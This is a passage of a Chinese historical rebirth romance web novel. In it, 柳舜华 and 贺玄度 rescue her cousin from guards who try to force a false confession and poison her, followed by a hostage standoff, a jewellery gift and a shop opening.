柳舜华眉心一蹙,贺玄晖怎知她是来此探亲。不过她懒得猜,只感到厌烦。前世她怎么没发现,贺玄晖如此缠人。 她轻笑:“贺大公子一向如此喜欢打探别人的隐私吗?” 贺玄晖面上一愕,随即笑道:“柳小姐别误会,我无 意窥探小姐隐私,只是他乡遇故人,适才柳小姐又出手相助,一时感慨,话多了些而已。” 柳舜华压根没想到马车内的是贺玄晖,若是早知是他,她也不会多管闲事。 “举手之劳而已,贺公子不必挂怀。家中长辈在等,不敢耽搁,告辞。” 匆匆告别贺玄晖,柳舜华边走边拍着红绸。 每次一见到他,准没好事,好好的红绸都沾上了土。 晦气。 回到铺子内,众人已等候多时。 柳棠华忙迎上来,“姐姐,你怎么这么久才回来?” 柳舜华红绸还未放下,便察觉到气氛不对,“怎么了?出什么事了?” 大表哥皱着眉,“大姐被人带走了。” 柳舜华:“怎么回事?” 陈莹红着眼眶,“是刺史府的人,他们说姐姐是前刺史府少夫人,刺史府叛国一案,姐姐也有嫌疑,需要带她回去配合调查。” 柳舜华觉得莫名其妙,如今刺史府上大多还是旧人,表姐在刺史府情形如何,究竟有无参与叛国一案,他们再清楚不过。郑刺史倒台已有半月有余,如今却上门来拿人。 柳舜华安慰道:“别慌,表姐逃出刺史府后,举报有功,有都尉府可以作证,他们不敢乱来的。这其中,想必是有什么误会。” 众人听她这么说,稍稍安心。 柳舜华将红绸放下,嘱咐众人回家小心同外祖解释,以免他老人家担忧。 “我先去刺史府打听一下,你们先回家等我消息。” 陈莹张了张嘴,忍不住开口道:“表姐,要不要同贺公子说一声,他应该能帮上忙。” 柳舜华沉默片刻,万都尉久居西北,在凉州根深蒂固,久富盛名。待新刺史到任,正式接手此案,都尉府再派人前去解释自然无甚不妥。若是如今便贸然前往,恐有示威之意。 她摇摇头,“算了,新刺史今日应是方到任,若都尉府贸然出面,前去要人,岂不让新刺史难堪。待明日……” “谁说我要代表都尉府出面了,柳舜华,你可别忘了,我还是相府公子。” 柳舜华听到声音,惊喜转头,“你怎么来了?” “你不来找我,我还不能来找你了。”贺玄度说着,摇着扇子左右打量了一圈,“铺子收拾得不错,看来我的债不用愁了。” 柳舜华此前的金饼租了这个铺子,如今铺内装饰的花销,都是上次问贺玄度借来的。 陈家两兄弟对官场人际一向不懂,还不知他另一层身份,如今听闻他竟是当朝丞相的公子,不由得面面相觑。 表妹在长安的人脉已经强到如此地步了。 柳舜华笑道:“贺公子放心,以表姐的才能,还你的债务指日可待。” 贺玄度收起折扇,“那还等什么,去刺史府啊,我还指着早点收债呢。” 出了铺子,贺玄度的马车就停在门口,两人先后上了马车。 已是五月天,又临近正午,日头正盛,马车内开始有些闷热。 柳舜华一心想着表姐,踏上马车时,并未想太多,如今坐在车内,贺玄度就在身旁,若有若无的熏香阵阵袭来,柳舜华心内微微紧张,鼻尖不觉泛起了细汗。 贺玄度坐在她对面,歪头看向她,“你很热吗?” 柳舜华仓惶抬头,“有……有点。” 贺玄度靠近一些,举起扇子,对着她扇了起来,“我给你扇扇,好点没?” 温柔低沉的嗓音磨在耳边,逼仄的空间内,贺玄度呼吸贴着她的面颊,柳舜华觉得更热了。 她有些慌,伸手抢过他的扇子,“我自己来。” 凉风扑面,柳舜华心内燥热消减几分,她不敢再看贺玄度,转头看向窗外。 马车行至方才遇上贺玄晖之处,柳舜华回头,“对了,你可知,贺大公子也来了凉州?” 贺玄度一脸漫不经心,“哦,他来不来左右和我也没什么关系,随他去吧。” 贺玄度的反应,柳舜华并不意外。 上辈子,自搬进西竹院,柳舜华同贺玄度交往不算少,却从未在贺玄度住处碰到过贺玄晖,可见他们兄弟关系一向疏离。 她本就是无话找话,随便一提,谁知贺玄度顺着她的话问了起来,“你怎么知道我大哥来了凉州?” 柳舜华挥着扇子,“今日街上碰到的。” 贺玄度狐疑地望向柳舜华,“你不过才见他一面,怎么再次碰到就能认出是他?” 柳舜华手微微一顿,笑道:“上次老夫人寿宴之上,我也曾无意间见过他一次。再说,你们兄弟二人有几分相似,我自然认得出来。” 贺玄度并不觉得他与贺玄晖眉眼相近,但听柳舜华的意思,若不是因为他,她根本认不出贺玄晖,心下一时得意不已。 马车穿过主街,很快便停了下来。 贺玄度先下车,亲自摆好马杌,迎着柳舜华下了马车。 因要迎接新刺史,刺史府门前反复洒扫,石阶有些湿滑,柳舜华一时不慎险些被摔倒。 贺玄度一慌,忙伸手去扶,手方拉住柳舜华的一只胳膊,便看到她另一只胳膊,同样被一双骨节分明的大手拉着。 他目光顺着男人养尊处优的大手缓缓上移,短暂相视一望,两人默契用力,将柳舜华扶起。 那人整理好微乱的衣襟,温言道:“好巧,二弟。” 第48章 第48章别怕,我在(三更)…… 柳舜华站稳,看着左右两人,突然有种莫名的尴尬。 贺玄度回头往刺史府门口望了一眼,方才下车时并未瞧见人,怎么一眨眼功夫,兄长便接住了柳舜华。 贺玄晖目光扫过两人,最后落在贺玄度身上,“二弟,你同柳小姐认识?” 贺玄度眉头一皱,数月不见,他不问他在凉州过得好不好,不问他伤势如何,却问是不是同柳舜华认识。 还真是,一如既往的薄情,还有……可疑。 想到刘九生说过,丞相府有意想让贺玄晖迎娶柳舜华,贺玄度浑身不自在。 他没有回答,只是往柳舜华身边靠了靠,“兄长怎会来凉州?” 贺玄晖笑道:“我来协助刘刺史审理前刺史叛国一案,怎么,舅舅没有提过?” 贺玄度道:“这些时日舅舅忙得很,没有功夫管我。未能提前去迎兄长,实在是不该。” 贺玄晖摆手道:“二弟这说的什么话,听闻二弟帮万都尉抵抗叛军受伤,理应好好养伤。” 贺玄度笑了笑:“都怪我平日里不肯听舅舅的话,多学些武艺防身,以至被叛军打得毫无招架之力,还被射了一箭,险些命丧黄泉。” 柳舜华夹在中间,听他们兄弟二人你来我往,夹枪带棒的,止不住微叹息一声。 贺玄度会意,止住话头,看着贺玄晖身后拿着礼盒的丁宝,“兄长这是要外出,既然如此,那就不耽误兄长了,柳小姐咱们进去吧。” 贺玄晖忙道:“听闻二弟受伤,父亲十分担忧,来时特意叮嘱我带了些补品。这些都是送给二弟的,既然二弟主动上门,倒省得为兄再跑一趟了。” 贺玄度说着“却之不恭”,让周松将补品拿到车上。 贺玄晖将礼品送出,转头看向柳舜华,“不知柳小姐来刺史府所谓何事,有没有什么需要代劳的,还请莫要见外。” 贺玄晖其人一向冷情,方才听他同贺玄度交谈中,她更加肯定,他还是他,一点没变。谁知现下竟主动要帮忙,实在不寻常。 她摸不清贺玄晖的想法,怕他利用她套取什么消息,对都尉府不利,又不想同他有什么纠葛,本不想多讲,可转念一想,表姐是前刺史府少夫人,贺玄晖作为 此次主审,定会知晓,也没什么好隐瞒的。 于是道:“劳贺大公子费心,我表姐是原刺史府的少夫人,郑家叛国时将表姐软禁,后被救出,此事人尽皆知。只是,不知为何,今日刺史府突然着人又将我表姐带了过来,说我表姐亦有嫌疑。舜华忧心表姐,故来此一探。” 贺玄晖点头道:“原来如此。我正要与刘刺史商讨案件,柳小姐正好可随我一起。” 眼下不是意气用事的时候,毕竟救表姐要紧,柳舜华便跟着贺玄晖进了刺史府。 贺玄度紧紧跟在柳舜华身后,寸步不离。 贺玄晖边走边道:“二弟此番前来,也是为柳小姐的表姐?” 贺玄度点头,“陈小姐,哦,就是柳小姐的表姐,被困救出后,第一时间想办法通知了舅舅,这才让我免去一劫。若要仔细论起来,陈小姐也算是我的大恩人,恩人被困,我怎么也要过来澄清一下。” 贺玄晖:“如此说来,是刺史府误会了?” 贺玄度:“自然。待会新刺史跟前,我自会解释。” 贺玄晖本就负责此次叛国案的审理,让人带路直接去了关押陈茵的地方。 陈茵无端被拿,正关在一个废弃的空房内,心下焦急不安。 突然门被人打开,有人走了进来。 是两个守卫。 两人拿着纸笔扔了过去,“陈氏,快些将你的罪行写下来吧。” 陈茵一头雾水,“写什么?” 其中一人道:“自然是帮着郑刺史里通外贼的罪状。” 陈茵摇头,“你们弄错了,我夫……前刺史叛国之事,我一概不知。你们也是刺史府旧人,可以打探一番,早在郑刺史叛变之前,我便被软禁在府内。” 两人相视一望,“这么说来,前刺史叛变与你无关了。” 陈茵:“自然,你们若不信,可以前去都尉府询问。当初我被软禁,死里逃生后,第一时间便告知了万都尉刺史府叛变的消息。” 两人听她提到万都尉,脸色缓和,笑道:“原来如此,那看来是我们误会了。少夫人莫怪,实在是这新刺史到任,咱们下面这些人要将这案子给捋一下。” 陈茵总算松了一口气,“那我什么时候可以回去?” 其中一人从怀中掏出一份文书,摊在桌上,“这份是前刺史叛国的一些罪证,需要有个人证,烦请少夫人在上面按个手印。” 陈茵看了看桌上的文书。 她出身乡野,本不识字。进了刺史府,为免被看不起,倒是偷摸认了一些常见的字。可这文书之上密密麻麻的字,一眼扫过去,没有几个识得的。 正犹豫间,便听他们催促道:“少夫人,按完手印便可安心回家了。” 陈茵将手放在印泥内一按,眼看就要落在文书上,眼一瞥,敏锐地瞧见文书上有几个熟悉的字,“寿”、“郑”和“万”。 “寿”是寿宴, “郑”当然是郑家, “万”,她很自然想到了万都尉。 她默默数了下,这个“万”字竟出现了十余次。 郑刺史的罪证书上,为何频频提到万都尉。即便郑刺史当初要陷害万都尉,这也太频繁了些。尤其是文书开头,只提“郑”字只有一处,“万”字却有五处之多。 将要落下的手顿在半空,她道:“我还有一些线索,想要当面告知新刺史,不知可否先通传一声?” 两个看守见她起了疑,相互交换了眼色,一人上前按住陈茵,一人将她的嘴牢牢捂住。 陈茵又急又怕,不停地挣扎拍打着那人的手背,呜呜地叫着。 两人不管不顾,按住她的手往文书上放。 陈茵努力将手往回缩,到底力道不足,眼睁睁地看着手掌落下。 其中一人迅速将文书收起,另一人从怀中掏出一瓶药,便要往陈茵嘴里倒。 陈茵本能想要喊叫,可下一刻,毒药逼近,她惊恐地瞪大双眼,死死抿着双唇,咬紧牙关。 那人将手从她嘴上拿开,转而去掰她的嘴。 强劲的手掌粗暴地按住她的下巴,陈茵被迫,缓缓张开了嘴。 她双眼一闭,留下一行泪,没想到她死里逃生,最终还是难逃劫数。 “啪”地一声,门被撞开。 “表姐!”熟悉的声音从门外传来。 陈茵睁眼一看,是柳舜华。 贺玄度手疾眼快,飞身越过桌子,一把抢过那人手中的毒药,顺手将他控制住。 其中一人眼见奸计败落,趁乱便往外跑。 贺玄晖忙挡在门口,紧紧抓住他的衣袖,以防他逃脱。 那人训练有术,一看便是练家子,贺玄晖哪里抵挡得住。 他用力一甩,贺玄晖便撞在门上,头上顿时鲜血直流。 柳舜华下意识地上前去扶,人还未靠近便被人挟着脖子退到门外。 打斗声很快引来刺史府的侍卫,不多时,那人便被重重包围。 贺玄度见柳舜华被抓,心急如焚,一掌将那下毒的守卫击晕,跑到门外。 陈茵顾不上被扯得生疼的嘴,大叫着:“蓁蓁。” 贺玄晖捂住头上的伤,跌跌撞撞站了起来。 冰冷的刀尖贴在脖颈上,随时都有可能划破喉咙,柳舜华心瞬间提到嗓子眼,止不住想发抖。 她曾设想过一万种遇到危险自救的场景,可真到了这一刻,才发现能保持镇定,已经是她所能做到的极限。 此人凶狠,若是妄动,难保他不会狗急跳墙。 柳舜华不敢乱动,屏住呼吸,随着那侍卫的脚步缓缓挪动。 原本那人只是慌乱中顺手抓了一人,却见众人如此慌张,自知抓对了人,顿时底气十足。 他喊道:“往后退,都给我往后退,不然我杀了她。” 贺玄度不敢再往前,只冲他道:“放了她,我保你不死。” 那人却不信,“你谁啊?怎么能保我不死?” 贺玄度高声道:“我是当今丞相府二公子,万都尉的亲侄子。放了她,我保你安然离开凉州城。” 那人上下瞧着贺玄度,似乎在想他话里有几分真。 片刻,他精光一闪,道:“万一出了这府门,你翻脸不认人,岂不绝了我的路。你若在乎她,不如你换她如何?你若是不肯,我便……” 贺玄度想也没想,一口答应,“好,我换她。” 柳舜华脑中“嗡”地一声,一片空白,看着贺玄度毫不迟疑地向她走来,心尖一颤,止不住落下泪来。 贺玄度朝她笑笑,像哄小孩子一样,轻声安慰道:“舜华,别怕。” 眼看贺玄度到了跟前,那人眼珠突然一动,方才他可是亲眼瞧见他飞身上前,一招便将同伴制服。若是挟持他,搞不好一个疏忽,反而被他拿了去。 他道:“停下,我改主意了。” 贺玄度顿住脚步,眼眸一暗,原本风流不羁的脸上布满杀机,冷声道:“你想如何?” 那人手指一举,指向远处的贺玄晖,“我要换他。” 他虽不认得贺玄晖,观他周身气度,便知身份不凡。 最重要的是……他很弱。 众人一愕,齐齐朝贺玄晖望去。 四下寂然。 风吹着贺玄晖银白素淡的衣摆,他脸上是比他衣摆还要寡淡的冰冷,映着额头的鲜血,愈加像是冰天雪地里的一枝寒梅,让人望而生畏。 贺玄晖目光越过众人,落在柳舜华身上。 柳舜华只觉浑身冰凉,血夜瞬间凝固。 贺玄晖凉薄冷情,便是自家兄弟命悬一线,他都无动于衷,何况是仅有两面之缘的她。 这人眼神实在不好,竟然妄想让贺玄晖替她。 “好,我换。”冰凉的嗓音回响在空荡荡的院落,像是一滴冰融化成水,滴落在青石上。 柳舜华 一瞬惘然。 贺玄晖,他是……疯了吗? 那人一脸喜色,虽然眼前两人看起来都十分在意这个姑娘,但难保他们不是一时上头,毕竟只是一个女人,若事后反悔,岂不是死路一条。而挟持了这个小白脸,不愁走不出凉州。 他催促道:“那还不过来。” 柳舜华还未从震惊中清醒过来,愣愣地看着贺玄晖一步步走上前。 走到贺玄度身边时,两兄弟无比默契地交换了眼神。 贺玄晖慢慢靠近,在快要走到身边时,那人将柳舜华猛地一推,短刀便往贺玄晖脖子上架。 那人手劲太大,柳舜华身体几乎要腾空,眼看便要摔倒在地上。 贺玄度伸出一只手揽住她的腰,另一只手快速将捏在手里的东西甩了出去。 “咚”地一声,短刀落地。 紧接着,一声惨叫划破庭院,直冲天际。 那人双手捂着脸,鲜血从他眼中汩汩流出,他痛苦地蜷曲在地上,嚎叫不止。 在他身边,是一个小瓷瓶,正是他们方才要灌给陈茵的毒药。 柳舜华正站在那人跟前,浑身一僵,瞳孔剧缩,止不住地颤抖。 贺玄度长袖一挥,白衣如月光一样倾泻而下,挡在她眼前。 他轻声道:“别怕,我在。” 第49章 第49章是我的错,你打我骂我吧 意识到已经脱离危险,柳舜华紧绷着的神经一下松懈。 陈茵忙跑过来,拉住她的手,“蓁蓁,你怎么样?” 柳舜华好半天才缓过神,“无……事,表姐,你怎么样?” 陈茵看着她一张小脸煞白,手心冰凉,神情恍恍惚惚还不忘问自己,鼻尖一酸,“没事,蓁蓁,咱们安全了。” 贺玄度瞧着被吓得颤抖的柳舜华,心内后悔不已。方才就不该有意在贺玄晖面前藏拙,以至让这人逃脱,置柳舜华于险境。 回过神的侍卫们这才上前。 一个侍卫首领小心翼翼走过去,对着地上的人踢了一脚,蹲下身在那人鼻尖探了探,对着贺玄晖道:“大公子,人已经死了。” 贺玄晖淡淡扫了一眼,抬头看向贺玄度,“方才,我以为你顶多踢掉他的刀,怎么不留个活口?” 贺玄度心内冷笑,死都算便宜他了。 面上却并无大表情,只是道:“大哥的命太值钱了,万一我踢不准,岂不是要让大哥受制于人,还是弄死的好。” 贺玄晖转过头,对着屋内道:“还有一个,带去牢内,好生看着。若是有任何差池,不必再回长安了。” 侍卫首领点头,一挥手,几名侍卫便将屋内晕倒的守卫带了出来。 另外几名侍卫拖着地上的尸体便走。 陈茵突然想起了什么,“等一下,他身上有东西。方才,他们逼着我在一张纸上按了手印。” 侍卫首领看了看贺玄晖,见他微微颔首,蹲下身在他身上一顿翻找,将此前那份按了手印的文书掏出。 他没敢打开,恭恭敬敬地递上。 贺玄晖接过,打开一看,眉头越来越深。 待看完上面的内容,转手递给贺玄度,“你看看。” 贺玄度一看,冷笑一声,“一派胡言,都这个时候了,还妄想拉舅舅下水。” 贺玄晖负手而立,“看来,这个郑刺史,背后果然有人。” 侍卫们方将尸首抬走,便听到有人惊呼,“这……这怎么回事啊?” 刘刺史方到刺史府,诸事尚未安排妥帖,凳子还未焐热,便听下人来报,说是丞相府的两位公子先后进了门,要找什么前刺史少夫人。 他略一吃惊,贺玄晖才遣人说要外出,晚膳不必张罗,怎么这会又回来找什么夫人。还有那混不吝的贺玄度,他怎么也掺和进来了。 前刺史府少夫人,那必定是位年轻的妇人。 郑刺史倒台,这位妇人被抓,应是没什么后台。 能让丞相府的两位公子如此着急忙慌地寻人,刘刺史一琢磨,这位前刺史少夫人,必定是位绝色的美人。 才跟着来到偏院,便看到一地狼藉。 贺玄晖道:“没什么,两个贼人,已经被拿下了。” 刘刺史望着一地的血,皱着眉,“怎么才到就出这档子事。” 贺玄度顺手将手中的纸递给刘刺史。 刘刺史接过一看,脸色骤变,“这……这又是怎么回事?” 贺玄晖道:“刘刺史,这是方才那贼人逼迫陈夫人按的手印,想来是要陷害万都尉。” 刘刺史听他说到陈夫人,这才看向一旁的两位女子。 左边那个虽有几分姿色,但也太瘦了些。前任刺史府邸都如此奢靡,日常生活可见一斑,她怎么可能是前刺史府少夫人。 右边那个,看起来虽然受了点惊吓,但眼波潋滟的,气韵也佳。 刘刺史转身对着柳舜华道:“陈夫人,真是没想到,我才到刺史府便发生这样的事,受惊了。” 柳舜华心神方稳,见刘刺史对着她喊陈夫人,愣了片刻才反应过来。 贺玄度翻了个白眼,没好气道:“刘刺史,这位才是陈小姐。” 刘刺史一愣,看着陈茵,尴尬一笑,“实在对不住,认错人了。” 陈茵忙回礼,“刘刺史严重了。” 柳舜华跟着介绍道:“我是她的表妹,柳舜华。” 刘刺史看了看两人,瞬间明白过来,感情这两兄弟不是为了这前少夫人,是为了她这个美人表妹啊。 贺玄晖在旁提醒道:“柳姑娘也是从长安来,最近新上任的柳御史,便是她的兄长。” 刘刺史从长安来,柳桓安如今风头正盛,他自然知晓。 “原来是柳御史的妹妹,秀外慧中,真是有兄必有其妹。” 说完,便想起了什么。长安盛传,丞相府大公子意欲与柳家结亲,莫非就是这位柳小姐。 如此一来,便说得通了。 贺玄晖趁着刘刺史在场,便道:“陈夫人,今日之事,事关重大,恐怕要留你问话。” 陈茵点头,又对着柳舜华道:“我无端被拿来刺史府,家人定忧心不已。如今已无事,你且早些回去,向家人说明情况,免得他们担心。” 柳舜华想了想,前刺史一案毕竟牵涉颇深,她一个局外人的确不好在场。 她道:“表姐,那我们在家等你。” 贺玄度笑着同众人道别,“诸位,我也先行一步。” 说着,熟练地跟在柳舜华身后。 一旁的刘刺史眼光一瞥,这怎么瞧着,柳小姐同贺二公子更亲近呢。 两人才转身,贺玄晖突然上前挡在柳舜华面前,“柳小姐,我瞧着你方才受了惊吓,不如,我安排马车送你回去?” 柳舜华顿了一下,抬眸看了看贺玄晖。 墙角几竿稀疏的翠竹残影落在他脸上,清俊雅致,眉眼温润。 她无端想起初见时的场景,她与贺玄晖怎么就成了一对怨偶呢? 大概是从那年冬日吧。 她听闻父亲受了风寒,冒着风雪回府探望。待晚间回相府时,马车却坏在半道,她便让妙灵遣了车夫回相府再驾一辆车来。 谁知等啊等,等到地上白茫茫一片,等得浑身颤抖僵硬,都不见车夫回来。 眼见再等下去不是办法,妙灵冒着风雪,寻了一辆破败的马车,几人吹了一路的冷风回了相府。 回去一打听,她才知道,是贺容暄故意整她,将马车全都派了出去。 她气冲冲地去找贺容暄理论,正巧贺玄晖也在。 她便当着贺玄晖的面,指责贺容暄不该让她在冰天雪地地受冻。 她以为,贺玄晖就算再不喜欢她,也会替她说上几句话。 谁知,他只是冷冷开口:既然知道风雪大,就不应当出门。 …… 重来一世,她打定主意离贺玄晖远远的,两次相遇也不过是点头说几句话而已。 可方才,她实在没想到,贺玄晖竟愿意替她。 上辈子,不管是最初愚笨无知的她,还是后来被浸染得有几分端庄贤淑的她,贺玄晖从始至终都未曾多看一眼。 这样体贴又温柔的他,正是她上辈子求也求不来的。 只可惜,这辈子,她不需要了。 至于贺玄晖,他是如何想的,都不重要了。 她不欠他什么。 柳舜华退后几步,与他拉开距离,“有劳费心,不过 不用了,贺二公子已经备好了马车。” 说罢,头也不回地离开偏院。 贺玄晖望着柳舜华的背影,一动不动,半晌才道:“刘刺史,去前厅吧。” 他语气很淡,似乎与平日里没什么两样,刘刺史却觉得一股寒意直涌而来。 他很理解贺玄晖。 正与自己议亲之人,却同自己的弟弟走得如此之近,换谁都无法容忍。 眼一瞥,却瞧见贺玄度嘴角勾着笑,喜滋滋地从两人身边走过。 刘刺史皱眉,这个贺二公子,也太明目张胆了些。 出了刺史府大门,柳舜华一颗心才算渐渐平复过来。 周松赶着马车过来,两人上了马车。 马车缓缓前行,贺玄度偷偷望向柳舜华脖颈,如玉温润的瓷白肌肤上,一段细小的红痕。 他的心狠狠抽了一下,声音不觉轻柔起来,“疼吗?” 柳舜华看他瞥向自己的脖颈,忙用手去遮,“不疼,没事的。” 贺玄度犹在愧疚,“都怪我没有及时制住那贼人,才给了他可乘之机。柳舜华,我没保护好你,是我的错,你打我骂我吧。” 柳舜华扑哧一笑,“哪有人上赶着找骂的?要怪,就怪贺玄晖,他本该拖住那贼人的。” 贺玄度附和着:“对,他就是太弱了。跟他在一起,他都保护不了你,以后,你可得离他远远的。” 柳舜华不过随口一说,谁知贺玄度竟当真了,还越说越离谱。 他这背后非议他人的习惯,也太不君子了。 她忙打住,换了个话题,“方才人多,我不好问,那张纸上写了什么?” 贺玄度本不想提这些事让她多心,但她既然问起,还是如实道:“是一份污蔑我舅舅的证词,说此次叛变,是舅舅与郑刺史黑吃黑。” 柳舜华轻嗤一声,“手段如此拙劣,皇上会信?” 贺玄度这次没有笑,而是抬起帘子望向人群,“皇上或许眼前不会信,可一旦怀疑的种子种下,只会生根发芽。日后,若舅舅有任何异常,这份证词,便会成为压倒他的稻草。” 柳舜华未往深处想,如今听贺玄度一分析,不由得一惊。 “背后之人究竟是谁,与万都尉有何深仇大恨,非要致他于死地?” 贺玄度漫不经心道:“哪有什么深仇大恨,不过是挡住了别人的利益吧。” 柳舜华侧目盯着贺玄度看了许久,贺玄度笑道:“你这么看着我做什么?” 柳舜华意味深长道:“没什么,只是觉得,你看得很透彻。这些话,可不像是一个纨绔会能说得出的。” 贺玄度伸手在她头上一拍,“笨啊,我是纨绔,又不是傻子。柳舜华,你以往,是不是把我当傻子了?” 柳舜华心虚,以前,好像,的确是如此。 贺玄度本是同她玩笑,谁知她却一脸心虚,忍不住咬牙道:“还真是。” 柳舜华垂头道歉,“是我有眼无珠,贺二公子,算我的错。” 贺玄度目光扫过一旁的珍宝店,“要认错也行,只要随我一起去个地方。” 第50章 第50章在你心里,我究竟算什么…… 贺玄度吩咐好周松先去陈家,告知大表哥一切无事,便同柳舜华一起进了珍宝铺。 才一进门,铺子老板慌张起身相迎。 贺玄度却道:“你去忙吧,我们先看看。” 铺子内琳琅满目,玛瑙珠玉,钗环首饰应接不暇,因此处连接西域,更多了一些寻常没见过的玩意儿,柳舜华左右打量着,新奇不已。 看了片刻,柳舜华问:“你要买什么?” 贺玄度挠挠头,“随便看看,我眼光一向不好,你帮我参考一下。” 柳舜华瞧着他一身花里胡哨的衣袍,点点头,“你是要送你舅母?” 贺玄度想了想,“是。” 柳舜华仔细转了一圈,指着一个金冠,“这个好,色泽明丽,云纹吉祥和顺,又不过分奢华,正适合都尉夫人。” 又对着一个手串道:“这个红玉玛瑙金珠串也不错,雍容大气。而且,红玉玛瑙最配衣服,无论什么场合戴着都很妥帖。” 贺玄度静静地看着她认真挑选,仔细解释着给他听,声音细腻如羽,柔和得能化开冬日的严寒。柔光映在她周身,风吹着她有些散的鬓发,像是无数毛茸茸的触手,轻抚着她白皙莹润的脸,润泽的丹唇。 柳舜华如数家珍,还在兴奋地说着,他却越听越心猿意马,恍然觉得,他们这样像极了新婚的小夫妻,在商讨着回门礼。 她旁边一角放着个瓷缸,缸内栽着莲花,隐隐泛着清香,绿叶簇拥着几枝莲花,花叶依依相映,与她的衣裙混在一起,叫人移不开眼。 柳舜华见贺玄度不说话,一回头,看他正痴痴地望着自己,心内微慌,面上却笑道:“怎么样,这几件可合你的意?” 贺玄度敛了心神,笑道:“你挑选的,自然是好的。” 说着,便让掌柜的包起来。 趁着掌柜包东西的空档,贺玄度慢慢踱到柳舜华跟前,“你看这个如何?” 柳舜华抬眼一瞧,他指着的是一个璎珞。 红玛瑙,绿宝石夹杂着几颗琉璃珠成串,中间两朵金雕并蒂莲,底下缀着密密的珍珠,繁复精美,日光下熠熠生辉。 璎珞源自西域,长安并不太常见,柳舜华还是第一次碰到如此精美绝伦的物件,当即看得移不开眼。 好一会,她才道:“这件极美,只是色彩夺目,做工也过于灵巧了些,恐怕不太适合都尉夫人。” 贺玄度将璎珞拿起,“我当然知道,这个,是送你的。” 柳舜华愣了一下,“送我?” 贺玄度指着她的脖颈,“还是有些红痕,能看得出来。若是回到家,你家人难免担忧,用这个遮挡一下岂不正好。” 柳舜华轻笑,“这个怎么可能挡得住?我这红痕未伤及根本,想来也不太明显,过些时辰便能消。若戴着这个明晃晃的东西招摇着,才真是让想不看到都难。” 贺玄度却道:“你出来的时候好好的,回去的时候却多了个红痕,一看便知是受了伤。大家都知晓你同我一起出来,跟着我去还能受伤,这样显得我多没面子。” 他笑得恳切:“戴上吧,这样借口说不小心划伤的,更可信。既不让你家人担忧,又保全了我的面子。” 柳舜华看着满脸诚挚,意气风发的贺玄度,心下生暖。 明明是帮她去寻表姐,却说为了他的债务。 明明是看她喜欢,要送她璎珞,却说为了他的面子。 贺玄度总是能设身处地替她考虑,让她毫无负担地接受他的好意。 若再拒绝,岂不是辜负了他的心意。 她点头,“好。” 正巧掌柜的将方才选的东西包好送来,见贺玄度拿着璎珞,顿时喜上眉梢。 “这位客人当真好眼光,这璎珞是特意从西域那边运来的。您看这款式,多鲜亮,就该配夫人这样的人。” 柳舜华听他说“夫人”,一张脸顿时涨红。 贺玄度却眼眸含笑,目光扫过柳舜华,意味深长道:“的确是个好东西,掌柜的也好眼光。这个,我买了。” 掌柜的得了夸赞,愈发喜笑颜开,“我看夫人今日穿戴,极衬这璎珞,公子不如替夫人戴上瞧瞧。” 贺玄度点头,“有理,戴上才知道合不合适。” 说着,举起璎珞朝柳舜华一笑。 柳舜华见掌柜的误会,本想解释,可贺玄度却置若罔闻,一心想着帮她带璎珞,也不好拒绝。 贺玄度身量高出她许多,根本不用她垂头,伸手将璎珞举过她的头顶,小心翼翼地挂在她脖颈上。 灼热的呼吸喷洒在后颈,手指轻划过她的耳尖,柳舜华浑身一阵战栗,汗毛瞬间直竖。 “夫人戴上这个果真是锦上添花,整个凉州城怕是再找不出比夫人更适合的了。” 贺玄度回身,看着柳舜华,笑道:“好看。” 柳舜华耳尖一红,缓缓垂下头。 两人出了珍宝铺,周松还未回来。 柳舜华正想着要不要等等周松,便听贺玄度道:“上车啊,等什么?” 柳舜华道:“不用等周松回来驾车吗?” 贺玄度扬眉一笑,“等他作甚,我给你驾车不更好。” 晚霞落在贺玄度衣襟上,柳舜华突然就想起从浮霞园回来,碰到贺玄度被大鹅追赶跑到自家马车上的情境。 她垂头一笑,“好,我都忘了,贺二公子驾车也是一绝。” 待马车走远,珍宝铺的掌柜看着溅起的尘土,“费尽心机地打了并蒂莲,又花重金托我们做了这副璎珞,还非要说是从西域来的,西域来的都没他这么折腾的贵。这人……图什么?” 说完,他掂了掂手中的钱。 管他呢,傻子一个。 …… 柳舜华原以为表姐经历上次一事,多少会有点阴影。 可她却好像没受到太大影响,依旧每日埋头在店内忙活。 她曾试图去开解表姐,谁知表姐竟反过来安慰她,说是经此一劫,她反而彻底与此前的刺史府,与他们郑家断了联系,这是好事。 柳舜华震惊于表姐这些年的变化,本来柔柔弱弱的她,如今已经能独当一面。 她想了想,又觉得一切都是顺理成章。 表姐这些年在刺史府受的苦,比她在丞相府的有过之而无不及。她遭遇这些劫难,无异于死而复生。 一个经历过生死的人,更知道自己想要什么。 风吹着珍珠流苏摇摆,柳舜华摸着脖颈间的璎珞,久久沉默。 表姐的铺子赶在夏至这日开张。 柳舜华提前让大表哥在招幌上画了一些美食,高高挂起,又特意拿了些好看的糕点摆放在门口,来吸引路人脚步。 二表哥与陈莹主动请缨,负责跑堂叫卖。 贺玄度借口是半个东家,自掏腰包,在门口放了个陶罐。放言,凡能以钱入罐者,店内花费免半,否则便要购甜粽一个。一时,人潮涌动。 一群人忙前忙后,好不容易熬到日落,店铺内的客人越来越少,才有机会喘口气。 陈茵颤抖着手数着钱,仅仅一日,足足挣了五千钱,能抵得上他们全家一个多月的口粮。 陈莹与柳棠华双双抱着陈茵的胳膊,不停地摇晃着,“陈掌柜,日后飞黄腾达,可千万别忘了我们啊。” 陈茵被她们逗得哈哈笑,半日的疲劳瞬间无影无踪。 正说笑着,便见有个高大的身影逆光而来。 来人一袭白衣,举止优雅,脸上挂住浅笑,让人如沐春风。 柳舜华眉头一皱,又是贺玄晖。 正在埋头吃着桂花酥酪贺玄度缓缓抬起头。 贺玄晖微微一笑,“陈掌柜,恭喜开业。” 陈茵赶紧站起招呼,“贺大公子,请坐。” 贺玄晖不动声色,寻了个离柳舜华近些的地方落座。 柳舜华心中涌起一阵恶心,微不可察地往旁边挪了挪。 贺玄度端着碗,长腿跨过椅子,移到贺玄晖对面,“兄长这么忙,还有时间过来?” 贺玄晖看了他一眼,“案子已经整理得差不多,再有十余日,便可结案回长安。” 陈茵站在一旁,小心翼翼地开口,“贺大公子过来,可是为了前刺史一案?” 贺玄晖摇头,微微一笑,“自然不是,只是听人说,街上新开了一间甜品铺子,东西尤其好吃,便想过来尝尝。” 陈茵松了一口气,问:“不知贺大公子想吃点什么?” 贺玄晖随口道:“随意些便好,将你们这的招牌上两道即可。” 点心已经全部收起,陈茵应着,转身去了后厨。 贺玄晖看向一旁的柳舜华,笑问:“柳小姐什么时候回长安?” 柳舜华本打算表姐这边顺利开业后便回长安,算起来也是十日后,于是含糊道:“过些时日吧。” 